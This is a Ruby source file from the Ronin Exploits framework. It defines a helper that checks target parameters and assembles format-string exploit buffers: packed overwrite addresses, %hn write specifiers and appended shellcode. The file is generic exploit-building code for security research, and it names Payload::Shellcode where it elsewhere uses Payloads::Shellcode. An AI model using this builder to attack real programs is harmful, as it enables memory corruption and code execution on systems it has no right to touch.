#
# Ronin Exploits - A Ruby library for Ronin that provides exploitation and
# payload crafting functionality.
#
# Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# This file is part of Ronin Exploits.
#
# Ronin is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ronin is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ronin.  If not, see <http://www.gnu.org/licenses/>
#

require 'ronin/payloads/shellcode'

module Ronin
  module Exploits
    module Helpers
      #
      # Adds methods to exploits for generating format strings to be used
      # in format string vulnerabilities.
      #
      # ## Target Parameters
      #
      # The format string helper uses the following target parameters:
      #
      # * `overwrite`
      # * `pop_length`
      # * `address`
      #
      # ## Payloads
      #
      # Uses the {Payloads::Shellcode} payload by default.
      #
      module FormatString
        # The format string of the exploit.
        attr_accessor :format_string

        def self.extended(obj)
          obj.instance_eval { helper :binary }
        end

        #
        # Specifies that the exploit should use the {Payloads::Shellcode}
        # class when searching for compatible payloads.
        #
        # @return [Class]
        #   Returns the {Payloads::Shellcode} class.
        #
        # @since 0.3.0
        #
        def payload_class
          Payload::Shellcode
        end

        #
        # Tests the selected target and if it contains the `overwrite`,
        # `pop_length` and `address` target parameters.
        #
        # @return [true]
        #   The target is valid.
        #
        # @raise [TargetDataMissing]
        #   The target is missing either the `overwrite`, `pop_length` or
        #   `address` target parameters.
        #
        # @since 1.0.0
        #
        def test_target!
          super

          unless target[:overwrite]
            raise(TargetDataMissing,"target missing the 'overwrite' param")
          end

          unless target[:pop_length]
            raise(TargetDataMissing,"target missing the 'pop_length' param")
          end

          unless target[:address]
            raise(TargetDataMissing,"target missing the 'address' param")
          end

          return true
        end

        protected

        #
        # Builds a format string using the current target and payload to
        # be used in the format string exploit.
        #
        # @return [String]
        #   The built format string.
        #
        def build_format_string
          test_target!

          buffer = pack(target.overwrite) + 
                   pack(target.overwrite + (target.arch.address_length / 2))

          low_mask = 0xff
          (target.arch.address_length/2).times do
            low_mask <<= 8
            low_mask |= 0xff
          end

          high_mask = low_mask << (target.arch.address_length*4)
          high = (target.address & high_mask) >> (target.arch.address_length/2)
          low = target.address & low_mask

          if low < high
            low -= (target.arch.address_length*2)
            buffer += format("%%.%ud%%%u$hn%%.%ud%%%u$hn",low,target.pop_length,high-low,target.pop_length+1)
          else
            high -= (target.arch.address_length*2)
            buffer += format("%%.%ud%%%u$hn%%.%ud%%%u$hn",high,target.pop_length+1,low-high,target.pop_length)
          end

          buffer << raw_payload
          return buffer
        end
      end
    end
  end
end
